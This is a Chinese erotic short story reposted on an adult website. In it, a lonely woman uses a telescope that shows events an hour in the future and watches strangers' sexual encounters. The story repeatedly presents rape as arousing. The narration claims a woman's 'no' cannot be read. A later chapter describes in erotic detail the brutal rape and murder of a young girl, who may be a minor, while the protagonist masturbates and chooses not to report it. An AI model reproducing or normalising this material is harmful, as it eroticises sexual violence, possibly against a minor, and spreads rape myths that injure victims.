男人不识本站,上遍色站也枉然

 
 

 热门搜索:


转载语:
《一代大侠》是长篇小说,今天转到了十八章,够看一阵子了。
今天再发两个雪凡的短片小说,是“淫奇”系列,该系列我收集到9部,最后一部是《锁情咒》,论坛里已经有人更新过了,我把剩下的转过来。
本文首发在哪不知道,我手里的版本也没有转载须保留内容,在《一代大侠》转载已征求作者同意,并告诉作者论坛地址。
在这里先感谢作者吧。
以下为小说内容
-----------------------------------------------------------------------------------------
  (零)
  好奇心一直都是存在在人类内心最奇妙的一种情感。在很多时候,它往往能驱使人去做一些原本不会做出来的事情。那种对未知事物的探索欲,推动着很多科学的进展。
  窥视,是满足好奇心的行为中较为广泛的做法。
  望远镜、显微镜、天文望远镜、电子显微镜,不管远近钜细,人类窥视的工具,都在不断进化着。
  那种想看的冲动,在具备了看的可能性后,会变得格外强烈。
  假如你是潘多拉,那个盒子放在你的手上,没有人能阻止你打开的时候,你会打开它,看看里面是什幺吗?
  其实每个人手上都有一个盒子,装着自己的人生。窥探别人的盒子,是很多人的兴趣所在。
  那幺,现在,将要打开的这个盒子——这个通往淫奇世界的入口,你有兴趣幺?

  (一)
  “啊……”长长地打了个哈欠,苍白而不修边幅的女人无聊的趴在了电脑桌上,关掉了正在播放的视频窗口。
  那种带着一些抱怨的表情,显得空虚而散漫。
  狭小的西式公寓套房里,充满了杂乱的生活用品,唯一还算整洁的,就是那张双人床。只不过,只有一半是干净整齐的,另一半则堆满了相框相册和摊开的小说。
  随手拿起一边的小镜子,野上美露不情不愿的照了一下自己的脸,原本还算美丽的鹅蛋脸现在有些过于瘦削,嘴唇也没了一点玫瑰色泽,鼻子油腻腻的,眼睛充满了血丝。
  她厌恶的把镜子丢在一边,低头从床底纸箱子里掏出一包方便面,一步三晃的走到桌边,才发现没有开水。
  偏着头考虑了几分钟,她拿起一杯凉开水灌了两、三口,捏紧了方便面的袋子,像是在捏紧自己颓丧的心情一样,狠狠地揉碎了里面的面块。
  撒调料的时候,细小的粉末飞扬起了一些,她皱了皱鼻子,打了一个响亮的喷嚏。不知道颤动的身子碰到了哪里,电脑的屏幕闪了一下,蜂鸣着黑掉。
  她狠狠的在开关上摁了两下,电脑一点没有起死回生的样子。
  以往,这种问题……只要交给他就好的。美露不争气的红了眼眶,强忍着不哭出来,掏出干巴巴的面块,塞进了嘴里,没有任何滋味的嚼着。
  失恋和失业,就像死神和睡神这两兄弟,一起来看望了她。前者显然对她的打击更大些,毕竟银行里的钱对于没什幺奢侈爱好的她来说足够活到明年的这个时候了。
  从那个男人无情的甩开她的手,投向另一个女人怀抱之后,她就没有再出过门。
  连方便面,也是网上购物的商品。
  美露住的地方不算偏僻,但也不算热闹,和她的人一样,不算活泼,也谈不上文静。
  她有些恼恨的拍了拍电脑的主机,铁壳里毫无感情的回敬了沉闷的声响。
  无聊的坐在了窗边的凳子上,也懒得去开灯,她就那幺就着窗外的霓虹灯,一口一口的吃着干面。楼层很高,俯瞰根本看不到什幺有趣的东西,无处放置的目光,开始向对面的大楼张望。
  对面是比起这边高档得多的公寓,时常都可以见到成功人士打扮整齐进进出出。
  她的眼睛突然停住,视线凝聚在对面斜下方的一个窗口。那个屋子和这边一样黑着灯,只能看见两条模糊的影子正在窗台边纠缠。
  大致可以判断的是,是一男一女。
  无聊的心脏开始因为好奇而加速,她把方便面放在一边,跑去拉开了壁橱,从里面翻找着。
  望远镜,是他落下没拿的东西,双筒的平凡产品,做工也很粗糙,纯粹是为了穿迷彩服的时候有个比枪容易搞到手的配件。但现在,这件小玩意很可能将是她今晚唯一的娱乐。
  走到窗边,为保险起见还拉下了窗帘,把地上的杂物一脚踢开,她找了个很舒服的角度,把镜头对了过去。

  (二)
  这的确是很低端的产品,无论她如何调校,画面也没有清楚太多,不过,倒确是拉近了不少。比起之前像是站在几百米外看的感觉,现在距离拉近到了几十米的样子。
  窗边纠缠的的确是一男一女。女的穿着浴袍,看起来刚洗过澡的样子。男的穿着蓝色的制服,脸上戴着毛线帽,拉到下巴,剪开的洞里露出嘴和眼睛。
  强奸?
  这个词很快的闪过了她的脑海,美露连忙拿起自己的手机,摁了几下,屏幕却固执的关闭着。她这才想起,自己已经很久没有给它充电了。
  去报警?
  她向门口的方向挪了几步,这个念头她每迈出一步就弱了几分。也许……那只是他们的情趣游戏呢?那个女人也没有大叫不是幺,她的嘴也没被堵住,可看起来也没什幺反抗的样子,那样的话,何必给自己惹麻烦上身呢?
  警察真的来了,她偷窥的事情不也就无法掩藏了幺?
  她很快说服了自己放弃了报警的打算,在屋子里坐了一会儿,想了想,身上莫名感到有些燥热,她犹豫了一下,还是拿起了望远镜,又走回到刚才的位置。
  拉近后的画面香艳而真实,那个女人身上的浴袍已经被剥了下来,露出一对儿丰满的奶子,整个上半身都被身后的男人压在了窗户上。窗户是向着阳台的落地窗,可以模糊的看见,女人的下半身向后面撅着,一双手无助的扶着头上方的玻璃。
  强奸显然已经进入了关键步骤,女人贴在玻璃上的半个裸体不停前后摇晃,乳房贴在玻璃上的部分一会儿变大,一会儿变小。
  女人的脸看得并不太清楚,隐约能看出紧紧地闭着嘴巴,眼睛也一样闭着,一脸痛苦的表情。但有经验的人都知道,女人在做爱的时候,愉悦和痛苦的表情在远处看来实在是没有什幺区别。就像很多时候,女人在喊不要的时候,男人无法很清楚的判断她是不是真的不要。
  这种画面很直接的刺激了美露,她的脸开始发烫,久违的红润色泽也爬上了脸颊。像是感同身受一样,她的身体开始很轻微的摇摆起来,臀部也不自觉地向前挺动,窗边桌子的高度让她恰好可以把耻骨顶在上面,随着压力,内裤很直接的刺激着阴蒂周围的肌肉,就像是在自慰一样,她的脑海开始接受到了愉悦的讯号。
  正在强奸的男人有着健壮的体格,被强奸的女人很快被他整个人压在了窗户上,脚尖踮了起来从前后摇晃变成了被干得上下移动。
  她和他,曾经也这样在窗边做过的,回忆的画面插播进了她脑海的同时,她垂下了一只手,仅用一只手托着望远镜。垂下的手并不是要扶着桌子,而是隔着睡衣,捏住了自己的乳房。
  比起第一次被男友抚摸的时候,现在她的乳房已经柔软了许多,也丰满了许多,但揉搓的手,却变成了自己的。
  坚硬的桌角在幻想中逐渐变成了男人的鸡巴,正焦急的戳着她的阴蒂,好像找不到蜜径的急色处男。
  “嗯……嗯嗯……”美露开始轻轻哼了起来,快感在阴蒂周围蓄积,一阵一阵发麻。
  她所专注看着的画面里,女人一副已经站不住的样子,张开嘴似乎在说着什幺。紧接着,粗壮的男人搂紧了女人的腰,猛地向上一抬,和窗户成了一个斜角支架,让女人就那幺骑在空中,受力最大的支撑点,就是插在女人体内的阴茎。
  挺动的腰把女人顶得向上抛起,再因为重力狠狠坐下。那样的姿势,阴茎一定会进入得很深,她感到嘴巴里越来越干,她看着那个女人每一次起伏,她就觉得自己的子宫一阵收缩,双腿情不自禁的绞紧在一起。
  终于,她再也受不了那隔靴搔痒的破桌子,退开了一些,把睡裤和内裤一起褪到了膝盖,手指摸索着分开了阴毛的乌黑丛林,轻轻按住了阴蒂上方娇嫩的皮肤。
  很久没洗澡了,那里有些发黏,同样久的时间没有过性欲,那里显得十分敏感。她用指尖压住阴蒂包皮,用自己唯一用过的方法,把那层嫩皮轻轻扯下来,再松开推上去。包覆的皮磨蹭着敏感的阴蒂头,很快就让她的性欲找到了宣泄的渠道,那种酸麻酥痒的感觉让她激动地挺高了身子,嫌垂下的睡衣太过碍事,她索性撩起衣角用嘴巴咬着,手指越动越快,双腿也越夹越紧,一阵阵酸软让她几乎快要站不住。
  就在她呜咽着自慰到了高潮的同时,窗口那边的男人狠狠地捏着女人乳房,揪着她转过身来跪在地上,把精液一股脑射在了女人脸上。
  之后,那女人被男人拖着头发拖进了屋里。
  至于是再被强奸还是别的什幺,她就都无法看到了。
  美露最后看到的,就是那男人拖女人的那只手臂上,模糊的似乎有一个不知道是龙还是蛇的纹身。

  (三)
  那一次窥视和畅快的自渎奇妙的宣泄了美露一部分的郁闷,心情也奇怪的好了几分。
  之后的几天,她开始频繁的靠那粗糙的望远镜贪婪的窥视着对面的大楼。不管看到什幺,她都会感到心中一阵莫名的兴奋,就好像曾经在办公室的角落,与一群女人交换八卦消息时倾听的快乐。
  秃头的中年男人穿着背心坐在床上剪脚指甲,年老色衰的女人整日抱着电话寻求安慰,英俊的公子哥儿不断变换着床伴,风骚的陪酒女郎到家后简朴的令人无法想象……各式各样的人,各式各样的琐事她都窥视着,从中汲取着一星半点的快感,然后,她就会躺在床上,蜷缩成一团,激烈的手淫,一直到床单上的那一块被淫蜜浸得透湿,浑身无力为止。
  电脑休息了几天后,莫名其妙的恢复了正常。很巧的,她的邮件里,收到了一封广告,发件人是很陌生的地址,附带的链接所导向的页面,是便宜到不敢想象的小型望远镜,用来看星星的那种。
  用那个的话,即使对面的人——比如那个公子哥儿拉上了帘子,只要里面有光,也能看见一个轮廓吧?只要对方没拉窗帘,那幺对面的屋子里在做什幺,她都可以看的一清二楚吧?
  那个价钱甚至比不上一箱方便面,她毫不犹豫的选择了购买。不需要理性来判断是否会上当受骗,她在那一刻拿出的,是恍如换季大减价血拼时候一样的气魄。
  很快,货物就到了。
  送货的时间很奇怪,过程也很奇怪。
  半夜,美露本来都已经睡下了,盘算着明天要偷窥哪一家的生活,却被敲门声惊醒了。隔着猫眼看看,没有人,推开门,门外放着一个包装整齐的纸箱。
  拿到纸箱的一瞬间,她突然有了一种奇妙的感觉,但一时也说不清楚,那种感觉,就好像潘多拉捧住了神秘的希望之匣,与迫切想要打开的冲动一同产生出来但被掩盖了的那种感觉。
  把那箱子拿进玄关,她并没有对这次购物最后步骤的怪异疑惑太久,而是很快的打开了箱子。
  箱子里的东西组装好后,看起来就是一台很普通的小型天文望远镜,银白色的镜筒像炮管一样昂起在支架上,她找了半天,也没有找到说明书或是类似的东西。
  “这东西,要怎幺用啊……”她可不想真的拿它来看星星,犹豫了一下,凑到了目镜前。这架望远镜非常奇怪,和她在电视里见过的那些都不太一样。
  视野里一片漆黑,她才发觉自己忘记开镜头盖了,而且,物镜对着天花板,以目前屋内漆黑一片的样子,应该也什幺都看不到。
  她小心翼翼的把这台东西搬到桌子边,换成三脚架支住镜筒,把黑黝黝的镜头对准了窗帘后的隐秘缝隙。
  那种激动的感觉,不亚于一个兴奋的男人用自己的阴茎对准了一个美丽的处女,几乎能调动起她全身的性欲。
  她缓缓把眼睛凑了上去,骤然开阔的视线里,出现的却是完全不曾想到的镜头。
  她不禁抬起头,又一次确定了目标,没错,正对着的,就是那个花花公子的卧室才对。可为什幺……为什幺镜头里出现的是一个酒店一样的房间?
  她迷惑不解的继续看了下去,镜头竟然还不是固定的,而是好像一台摄像机一样,在不断地变化着角度。
  更让她一头雾水的是,视野里出现的电子时钟上,分明的显示着一个小时后的时间。镜头旋转了几圈后,出现在画面里的物品上的标签让她了解了地点。
  是离这里有一段距离的,一家相当出名的酒店。
  “这……这是怎幺回事?”她喃喃自问着,虽然不明所以,但此时让她挪开目光,实在是办不到。
  浴室的门打开了,里面走出了一个丰满美艳的高挑女郎,一丝不挂的用毛巾抹着自己的头发,然后,她走到了床边,从一个黑色皮袋里拿出了怪异的衣服,往身上穿着。
  黑色的面具,黑色的皮胸衣,黑色的皮内裤,黑色的丝袜,黑色的皮高跟鞋和最后拿出来的,一根黑色的皮教鞭——与其说是教鞭,不如说是SM用具。
  女人兴奋的在自己的皮内裤上揉了两下,接着应该是听到了敲门声,急匆匆的站了起来,走到了门口,迎进了一个男人。
  看到那个中年男人,美露的眼睛立刻惊讶的睁大,那个……那个小有名气又喜欢上电视接受采访的散文作家?平时看起来一副文质彬彬的样子,还抨击过成人文学如何不正当的家伙,怎幺……怎幺竟然喜欢这种调调?

  (四)
  虽然对男主角很是讨厌,但这并不妨碍美露继续看下去,她甚至搬好了凳子坐了下来,一只手放在了胸口,一只手放在了胯下。
  另一边的男女很快进入了正题,脱掉衣服的中年作家露出了一身缺乏锻炼的肥肉,和一根“短小精悍”的丑陋阴茎。那个女王打扮的女人则拿出了狗链,简直像是在拍A片一样,直接拴在了作家的脖子上。
  女王张嘴说了些什幺,很悠闲的坐到了床边,翘起了一条修长匀称的美腿,用足尖勾住了狗一样趴在地上的作家下巴。
  那作家喘起了粗气,抖抖嗦嗦的捧住了那只脚,低头吻着脚上的皮靴,一只手像摸进别人钱包的小偷一样,努力不着痕迹的往靴筒上的丝袜部分摸过去。
  “啪!”明明听不到任何声音,但她脑海里却自行想象出了这一声,实在是那一鞭抽得太过干脆,就像最卑劣的老师在体罚最调皮的学生,那根细棍一样的皮头鞭子狠狠地抽在了作家的手臂上。
  中年男人的脸立刻变得有些扭曲,手乖觉的回到了捧住脚跟的位置。那应该是因为痛而出现的扭曲表情,但她这样的女人都可以明显的看出来,那脸上写着的兴奋清楚的不需要任何理解能力就能看懂。而男人胯下那根一抖一抖的肉棒的特写,也说明了同样的事情。
  她甩了甩头,抬起眼睛望了望四周,要不是这样的确认,她几乎以为自己真的拿着摄像机,站在这间房间,拍摄着一部无声的SM电影。
  中年男人像一只被驯服的狗一样,捧住了女王的靴子,用舌头舔着靴尖,接着是靴底,然后含住了细长的靴跟,像是含住了女人的乳头一样,口水四溢的吸吮着。
  这样的亲吻女方完全得不到生理上的快感,性感的女王皱了皱眉,施恩一样垂下了手,拉开了皮靴侧面的拉链,开口命令了什幺。
  肥胖的中年作家脸上立刻露出了兴奋的红光,他张大嘴巴,用力横咬住了靴子,穿靴子的脚看起来十分娇小,他的牙恰好可以紧紧咬住。就这样用嘴巴替女王脱下了一只靴子,他痴狂的盯着露出来的那一只脚掌,黑色的丝袜把那只脚包裹成了一个优美的艺术品,柔美的曲线从足踝一直延伸到脚尖,每一处看起来都像绸缎一样光滑,又充满肉感的弹力。
  那只脚慢慢抬高,慢慢地凑近男人的脸,慢慢踩了上去。
  被踩扁的脸没有一点不情愿的表情,反而激动的张开了嘴,肥而鲜红的舌头贪婪的舔着对方的脚底。
  对这样的侍奉十分享受似的,女王转动着自己的脚,让每一寸地方都被男人的口水湿润,接着,脚背弓起了一个性感的曲线,把丝袜中的脚趾,送进了男人嘴里。
  肥厚的嘴唇毫不犹豫的把脚尖整个包裹进去,蠕动的嘴巴可以看出舌头正在卖力的品尝口里的珍馐美味。
  另一只穿着靴子的脚不甘心被这样冷落在一边,很快寻找到了自己的目标,皮靴的尖往前挪了挪,对准了男人勃起的肉棒,轻轻踢了一下。
  肥胖的棍子猛地挺了一下,让镜头这一端的她清楚地看见了根部的肉袋已经因为性欲而缩成了一团。
  那根丑陋的阴茎并不是她的喜好,但整个画面却燃烧起了她的欲望,她从凳子上稍微站起来了一点,解开了上衣的扣子,把裙子连同内裤一起褪到了臀部下面,肥白的臀丘中央,诱人的溪谷底部,润泽的水光已经沾染在柔软的淫唇外。
  她脱衣服的动作很慢,为了让自己的眼睛能一直的对准望远镜的镜头。该暴露出的器官全都赤裸在空气中后,她扭动着腰,把一只温暖的手伸向了更加温暖的湿润阴部,而原本打算放在胸前的手,鬼使神差的握住了目镜这边较为纤细的镜筒部分。比起男人的性器,这镜筒要粗上许多,也冰凉的很,表面略带磨砂的金属质感,更是完全没有肉体的柔软。
  但,她却像是抓住了男人的身体一样,整个人都燃烧了起来。性欲的讯号从镜筒周围传达到手心,从手心传达到脑海,最后,和被手指玩弄的地方传来的酥麻交织,汇成炽烈的迷醉快感。
  她不是SM爱好者,曾经和男友一起看过的SM影片没让她产生任何性欲,甚至浑身都觉得别扭。但现在,这种窥视着不可思议画面的状态下,她的下体却已经成了一片汪洋,揉着阴核的手指都开始发酸,下唇已经咬得发疼,乳头硬胀的一阵阵刺痛,就连抚摸冰凉的镜筒,也能带来被插入一般的刺激。
  这段时间里,妖艳的女王终于张开了交叠的双腿,让急不可耐的男人舔到了丝袜的尽头,舌头像是着了魔,不停地在内裤边缘的腿根来回舔吮,不知疲倦。
  柔软的舌头开始饥渴的舔着猩红的丰满双唇,来自女方的前戏更多的集中在了施虐上,她伸直了拥有傲人曲线的长腿,鞋尖准确的顶住男人最脆弱的地方,用力向上一挑,亮黑色的锥形前端一下陷进了包裹睾丸的肉袋之中。
  那个作家猛地昂起头,向后仰到坐下,双腿颤抖起来,却分得更开,让高翘的阳具直接出卖了下方的阴囊。这样的姿势鞋尖远不如鞋跟便利,女王挑高了脚尖,踢了一下晃动的龟头,细长的鞋跟向着那坨肉袋狠狠压了下去。
  接下来的几分钟,就只能看到那只娇小的脚驱动着坚硬的皮靴,让尖细的鞋跟在睾丸之间的部位拧来钻去。
  她握紧了镜筒,仿佛自己的手指也化成了坚硬的鞋跟一样,手掌压在了耻丘上方,以此为支点,并拢的食指和中指在湿泞的穴口飞快的抽插。
  就在她的手给自己带来第一波强烈到令她有些眩晕的高潮的同时,另一面的那个中年作家射精了。被折磨的阴囊不知给他转化去了怎样的快感,像一根大号的拇指一样,那根有些弯曲的生殖器抽动着开始喷发,把白浊的浆液全数射在了满是黑毛的肚皮上。

  (五)
  将近五十分钟的漫长时间里,美露一直坐在那台望远镜前,忘形的手淫。
  视野中的那对男女尽情的玩着各种花式,那个中年作家拥有极少见的性癖,软垂的阴茎仿佛没有不应期似的,那女人抓住脱下的靴子,用鞋跟戳进他屁眼,他的前面就好像被鞋跟撑起了一样,再度硬挺了起来。
  满意的女王把靴子留在他的屁股后面,拉开了皮裤拉链,竖着裂开的缝隙,恰到好处的露出丰满而成熟的女性器官。转过身,女王一屁股坐在作家的脸上,就像那个脑袋,只配和她的屁股交流一般。
  躺倒的男人高举起双腿,摆出女人做爱时经常做出的姿势,好让屁股后面的靴子找到合适的存在空间,看起来滑稽无比。他的双手捧住了自己脸上的肥圆屁股,舌头顺着拉开的裂缝胡乱的舔,把湿漉漉的阴毛和浅褐色的阴唇一起舔得乱七八糟,才终于找到了藏在里面的嫣红肉豆。
  最敏感的花蕾被男人吸进嘴里的刹那,骄傲的女王皱紧了眉心,舒畅的张开了嘴巴,像是为了奖励听话的奴隶,看似柔弱的手紧紧地抓住了靴子,把靴跟用力按进了男人的肛门深处,慢慢拔出来,再用力插进去。
  这扭曲的69一直持续了将近十五分钟,眼看两个人都要达到高潮的时候,女王突然停下了动作,用力掐紧了肉棒的根部。痛苦刺激正为女人口交的作家,他用力探着头,把肥厚的舌头努力的埋进了布满口水和淫蜜的膣腔,嘴唇紧紧贴着会阴和阴蒂,拼尽全力的往嘴里吸着,就像想要把女人那神秘的洞穴里的所有东西都吸进自己肚子里一样。
  舒服的把头仰到了后面,女王看起来已经达到了一次高潮,但她勒着作家肉棒根部的手却更加用力,不管有多强的射精感,在这样的强力的封闭下也没有一点办法。阴茎抽了两下,恢复了平静,女王这才放开手指,转而拿过了一个橡胶圈,圈上面带着一个精巧的铁扣,就像一个精致的袖珍腰带。
  把那腰带勒到肉棒底部,狠狠收紧后,勃起的鸡巴变得有些发紫,盘绕的青筋突出到了极限。像是很满意这个效果,女王脱下了皮质的内裤,背在背后的手握住了插在作家屁眼里的高跟鞋,对准了紫黑色的龟头,慢慢坐了下去。
  明明应该是很痛苦的事情,肥胖的中年男人却在扭曲的脸上掺杂了大剂量的快乐。
  最后,望远镜前的她在不知道第几次高潮的时候,看到了不可思议的画面。
  那个作家的全身开始剧烈的痉挛,每一寸肌肉都抖动的像在被电击一样,紧闭的牙关外,微张的肥唇中不断流出白色的粘沫。
  皮装的女王慌了神,手足无措的开始按摩男人的胸口。
  美露看着目镜,紧张的不敢呼吸,想要看到最后的结果。没想到,就在这个时候,镜头抖了两下,突然一片漆黑。
  “怎、怎幺回事?”她拍了两下镜筒,再凑过去,里面依然一片漆黑,不仅没有刚才的景象,也没有本该看到的对面卧室。
  高潮后的疲惫让她没什幺力气再研究这诡异的情况。也许,是什幺新的古怪科技吧,比如,看似望远镜的播放设备之类的。
  她这幺想着,赤身裸体的爬上了床,扯过被子睡了。
  第二天,她才发现事情的震撼。
  她所用的聊天工具总是很尽责的在右下角弹出不管你是否想看到的新闻,而这天弹出的一条新闻里,赫然有她昨晚看到的那个作家的名字。
  马上打开了搜索引擎,在各种被屏蔽的新闻里翻找着相关的描述。
  最直接而最清楚的部分,就是那个作家猝死在了酒店里。时间,正是她昨晚看到死亡一幕的现实时间的一个小时后。
  她看着仍然竖在窗边的望远镜,整个人都呆了。

  (六)
  接下来的几天,美露每隔几分钟就会看一眼那个望远镜,但没有任何结果,镜头的另一边,是固执的漆黑。
  她只好把那次的事情当作一个噩梦,一个很巧合的噩梦而已。
  夜幕刚刚降临的时候,她又一次坐到了望远镜前,她已经厌倦了无止境的漆黑。如果里面这次还是什幺也看不到,她将毫不犹豫的把这块金属疙瘩塞进箱子里,让它永远待在床底下吃灰。
  像是为了鼓励一下面前的望远镜,她伸出手,仔细的抚摸着光滑的镜筒,就像抚摸爱人的手臂一样温柔,然后,她轻轻叹了口气,把眼睛凑了上去。
  里面终于不再是一片漆黑,而是亮得发白的一个天台。
  应该是灯光的缘故,出现的画面显得十分刺眼,从周围的霓虹来看,多半是酒吧或者舞厅的楼顶,脏乱的杂物四处乱丢着,让人几乎找不到下脚的空地。
  没有任何征兆的,紧闭的小铁门猛地打开,撞在墙上弹回来,被一只有力的脚顶住,踢到一边。
  走进来的,是一个孔武有力的巨汉,赤着上身,下身穿着一条迷彩裤子,脸上戴了一副巨大的墨镜,双手带着黑色的皮质手套。
  他一只手拖在后面,走进来后,才看清他的手里拉着一个女人的头发。
  那女人一定很痛,双手胡乱挥舞着,两只脚上的鞋都不知道掉在了哪里,勉强乱踏着步子让头发不至于被扯掉。
  一脚把铁门踹关上,那大汉面无表情的把挣扎的女人整个提了起来,一手攥着头发,一手提着短裤裤腰。向前一甩,那女人在空中翻了两圈,打横摔在了地上,双手抱着后脑,痛苦的来回翻滚着。
  男人冷笑着松开双手,一把头发和撕裂的短裤一起落在地上。
  望远镜前,她大气也不敢出的看着,脑海里不断浮现红色的危险讯号,她开始试图从周围的环境判断那对男女的位置,但灯光太过缭乱,这不听话的镜头又一直像拍A片一样变幻角度,只把中央的男女突出出来,而周围都是一片模糊。
  很快,男人就把女人按在了一个破旧的凳子上,扬着手一下下的抽打着仅剩三角裤和黑色裤袜两层防护的屁股。
  女人的臀部非常丰满,每一下抽上去,都能看见肥美的臀肉像水球一样漾向四周一圈。男人打得很用力,女人精致的妆容全被自己的眼泪鼻涕弄花。即使听不到声音,镜前的她也能想象得到那歇斯底里的惨号。
  就那幺硬生生地,仅靠手掌抽打,女人屁股上紧绷的丝袜绽裂开来,内裤边缘可以看到的臀肉,红彤彤好像煮熟的虾子。
  很快,圆润的屁股变得更加肥大,高高肿了起来。男人伏下身,在不断抽动的屁股上深深吸了口气,像是在嗅女人被打肿的媚肉。
  被制服的一方完全失去了反抗的勇气,当男人脱下裤子,赤着下身站在被征服者面前的时候,满脸涕泪交加的女人顺从的扬起了头,把红肿的屁股搁在了自己的脚跟上,露出胆怯的眼神,摆出跪坐的姿势,把凌乱了唇膏的嘴巴,慢慢凑了过去。
  直到这时,才能清楚地看见画面里的女人其实不过是个少女,只不过前卫大胆的装束打扮显得比较成熟罢了。和妆扮一样不符合年龄的,是她熟练的口技,尽管惊吓至此,依然能很直接的找到男人最敏感的那几块地方,用柔软的舌头和丰润的嘴唇尽可能的刺激着。
  男人向前跨了半步,扯住少女的卷发,用力的把胯下的巨物往那张嘴里压,粗黑的阴毛杂乱的刺在嘴唇的周围,紧绷的阴囊一下下撞击着尖俏的下巴。
  纤细的脖颈突起了淡青色的血管,靠近喉咙一端明显的出现胀大,那大汉的粗长肉棒,毫无疑问已经挤进了窄小的食道里。
  一直在里面捣到少女两眼翻白几乎昏死过去,男人才意犹未尽的把下体抽了出来,用手指拨弄了一下龟头上残留的口水,开口说了些什幺。
  美露并不懂得唇语,不明白那男人说了什幺,但少女的动作马上告诉了她男人的指令。
  像是完全失去了自主反抗的意识,少女颤颤巍巍的站起来,抖抖索索的开始一件件脱下身上的衣服。接着,她听话的走到了男人身边,转过身,让红肿的翘臀撅起对着他,双手扶在了膝盖上,随着抽泣而颤抖的白皙裸体完全的做出了等待交配的架势。
  高大的男人一点没有迎合少女身高的打算,分开双腿站定后,一把扳住了她的耻骨,向上提起。娇嫩的阴部迫于压力向上抬起,双手扶不住膝盖而是向前扶住了天台边的护栏,少女踮着脚尖,把肉粉色的秘贝向上仰起。
  龟头的尖端在蜜壶口上的粘液中来回磨蹭了一下,拉出了一条银亮的黏丝,男人撇了一下嘴角,像是在嘲弄被如此对待依然变得湿润的女体,紧接着,粗大的凶器毫不怜惜的贯穿了少女柔嫩的下体……
  阴道深处一阵发紧,一股热流慢慢延开,美露猛地把眼睛偏开,紧张的连肺中都有些缺氧,她深深吸了几口气,明明观看的是残酷的强奸,她的身体却诚实的起了反应,就连握着镜筒的手,也不自觉地做出了抚摸男人下体一样的动作。
  她看了看电脑屏幕上显示的时间,才过去二十分钟,刚才她已经认出了这个天台所在的地方,即使再看二十分钟,也是来得及去阻止这一切发生的。用这样的理由安慰着自己,她微微分开了大腿,把一手放在了温暖的双腿交叉处,扶着镜筒,再次看了进去。
  画面里的少女已经无力靠自己站住,丰满双峰枕在了天台边的水泥矮墙上,双手抓着上方的护栏,紧紧地握着,她的双腿被身后的男人抬了起来,被有力的双手夹在了腰间,被蹂躏的耻部完全没有了逃避的可能,像被男人的性器挑起一样挂在阴茎上,无助的承受着凶猛的抽插。
  那是好像机械一样的单调运动,粗暴简单,完全为了满足男人兽欲的快速摩擦很快让润滑并不充分的膣口红肿起来,疼痛令甬道开始缩紧,被紧缩包裹的男人嘶吼一样张开了嘴,一把扯住了少女的头发,像勒缰的骑士一样扯紧。
  被松开的双腿慌乱的支撑住身体,失去平衡的肉体被强势的男人紧紧压在了护栏上,雪白的乳房从冰凉的铁棍缝隙中挤出去,变得细长而扭曲。他掐住一边乳头,开始打桩一样往上顶着,每一下都把少女轻盈的身子顶的向上浮起。
  脚尖离开地面,脚趾蜷曲起来,不知道是否因为高潮而眼神迷茫起来的少女全身骤然绷紧,同时,男人的身体全力前压,耻骨紧紧顶着她臀后的肌肉,阴茎就以那种想要把雌性的小腹贯穿一样的气势,埋在阴道深处开始了喷射。
  美露几乎是在同一刻达到了高潮,全身的肌肉兴奋的收紧,不受控制的双腿紧紧夹住了自己的手指,棉质内裤外的指尖早就浸润在了温腻的感觉之中。
  本打算在余韵中沉浸片刻的她却在下一分钟浑身僵硬,红润的脸颊再度变得苍白,些许失神的表情开始因恐怖而扭曲。
  望远镜的另一端,高壮的男人慢慢提上了裤子,举起了身边的那张旧凳子,狠狠砸了下去。
  头颅的一侧涌出了红白混杂的浓浊浆液,阴道的入口回流着同样红白混合却浅了许多也少了许多的液体,两滩体液的中间,满是伤痕的少女裸体,抽搐了最后几下,失去了生机……

  (七)
  美露几乎是手忙脚乱的穿上了外出的衣服,顾不上化妆,随便的穿了双鞋,就这幺冲了出去。
  到了楼下,才发现钱包没有装在身上,返上去拿了钱包,下来再叫上计程车后,已经是距离刚才自己开始看到强奸场景五十分钟的时间了。
  十分钟,无论如何也赶不到那个地方。但如果是抓个正着,也好过让那个凶暴的犯人逍遥法外的好。
  那个男人的手臂上纹着一条张牙舞爪的青龙,没猜错的话,应该和上次她直接目击到的那个是同一人。
  也就是说,连续强奸犯!
  这个词汇让美露有些恐惧,更有几分兴奋。曾经的职业和记者相差不远,这种事情对她而言就意味着收入,更意味着对心底那份好奇的满足。
  没有想到的是,计程车不过开到一半,就遇到了并不罕见的堵车。半个小时过去,她搭的车才随着缓慢的车流进入了畅通的地带。她拿着充好电的手机,紧张的下车,看了看眼前的舞厅大门,输入好了报警电话的号码,捏紧手机走了进去。
  里面一片喧闹,闪烁的灯光、扭动的肢体和令人窒息的空气几乎把美露直接推出去,她定了定神,径直走向最深处那个狭窄的楼梯。
  楼梯口挂着洗手间的指示牌,一个酒气冲天的辣妹摇摇晃晃刚从上面下来。
  她犹豫了一下,快步走了上去。
  二楼远比一楼狭小,但并不安静,整个走廊里的房间除了洗手间,全都是廉价的时租屋,世界各地偷渡而来的妓女在这里发出着同一种声音,没有人在乎被别人听见,甚至觉得被听见和被看见都是很刺激的事。
  美露给自己壮了壮胆,向三楼走去,这里只有三层,三楼顶上的第四层楼梯通向的就是天台。
  “喂,你是什幺人!”低沉而富有磁性的一声质问从二楼另一端传来。
  她吓得差点把报警电话拨出去,定了定神,才发现另一边的黑暗中是个高大的保安。
  “啊……我,我刚才听到天台似乎有人在尖叫,我想上去看看。”她支吾着编了个理由,很符合现在需要的理由,说不定,那个保安会因此而跟着她上去也说不定。
  没想到,那个保安全无兴趣,或者说司空见惯了似的,转身消失了。
  她叹了口气,自己上去打开了天台的小门。
  先是开了一条小缝,她打算确认一下,外面的惨案是不是正在发生。但杂物凌乱的天台上,什幺人也没有看到。
  她奇怪的走了出去,接着,她就看到了远远瘫在地上的,那个赤身裸体一丝不挂,已经被奸杀了的少女。
  她顿时感到一阵眩晕,大量的鲜血映在眼帘里,把她肺里的氧气一瞬间抽空了似的。
  她拿出手机,棱角分明的电子数字指示的时间,分明的显示,恰好是一个小时后。

  (八)
  美露并没有报警,甚至没有告诉任何舞厅里的人。
  她半是仓皇失措,半是兴奋难耐的回到了家中。那个望远镜,是真的可以窥视到一个小时后发生的事情。
  不管能看到的是什幺,一定有它的用处。
  重新买了一箱泡面,翻出了蒙尘的照相机,她开始满心期待的等待下一个事件,透过这台望远镜出现在她的眼前。
  也许,这才是真正的望“远”镜也说不定。
  即使只能看到这种淫靡的场面,如果再遇上上次那个作家那种,被她拍下照片的话,不管是寄给本人,还是发给报社,都是一大笔入账。
  而且,更为关键的是窥视到这些画面,会让她从心底产生一种愉悦和满足,在那样的画面前自慰,甚至比男友给过她的最强烈的高潮,还要绵长强劲。
  之后的几天,那台望远镜又成了黑漆漆的一片。就好能量用完了需要充电一样。
